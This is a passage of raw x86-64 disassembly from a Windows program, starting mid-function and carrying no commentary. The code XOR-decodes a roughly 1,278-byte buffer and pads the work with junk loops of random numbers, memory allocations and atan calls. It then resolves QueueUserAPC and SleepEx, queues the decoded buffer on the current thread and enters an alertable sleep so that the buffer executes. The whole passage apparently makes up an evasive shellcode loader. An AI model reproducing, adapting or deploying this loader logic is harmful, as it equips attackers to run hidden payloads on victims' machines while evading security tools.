call sub.msvcrt.dll_free
cmp dword [rbp + 0x878], 0x7e
jne 0x140002bdf
mov eax, dword [rbp + 0x87c]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x878]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x87c]
cdqe
mov byte [rbp + rax - 0x40], dl
mov ecx, 0x7ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov ecx, 0x7ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov ecx, 0x7ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x860], 0
jmp 0x140002ae0
mov dword [rbp + 0x85c], 0
jmp 0x140002acc
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x860]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x6a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x85c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x860]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x6a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x85c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x26
jle 0x140002a1b
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0xc
jle 0x140002a0c
mov dword [rbp + 0x860], 0
jmp 0x140002b99
mov dword [rbp + 0x85c], 0
jmp 0x140002b85
mov eax, dword [rbp + 0x860]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x6a8]
add rdx, rax
mov eax, dword [rbp + 0x85c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x860]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x6a0]
add rdx, rax
mov eax, dword [rbp + 0x85c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x860]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x698]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x85c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x26
jle 0x140002b08
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0xc
jle 0x140002afc
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x878], 0
jmp 0x140002c11
mov eax, dword [rbp + 0x87c]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x878]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x87c]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x878], 1
add dword [rbp + 0x87c], 1
mov eax, dword [rbp + 0x87c]
cmp eax, 0x7a
jbe 0x14000276e
mov ecx, 0x660
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x854], 0
mov dword [rbp + 0x850], 0
mov dword [rbp + 0x858], 0
jmp 0x140002cfe
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002ccd
add dword [rbp + 0x854], 1
jmp 0x140002cf7
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002cf7
add dword [rbp + 0x850], 1
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x197
jle 0x140002c5b
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x87c], 0
jmp 0x140002dcb
cmp dword [rbp + 0x874], 0x7a
jne 0x140002d7f
mov eax, dword [rbp + 0x87c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x874]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x87c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x874], 0
jmp 0x140002dc4
mov eax, dword [rbp + 0x87c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x874]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x87c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x874], 1
add dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0x4fd
jle 0x140002d2c
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov ecx, 0x11c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x84c], 0
jmp 0x140002e86
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x237
jle 0x140002e48
mov dword [rbp + 0x84c], 0
jmp 0x140002ef0
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x237
jle 0x140002e9e
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6e0]
mov r9, qword [rbp + 0x6d8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6d0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8d0]
add rsp, 0x968
pop rbx
pop rsi
pop rdi
pop rbp
ret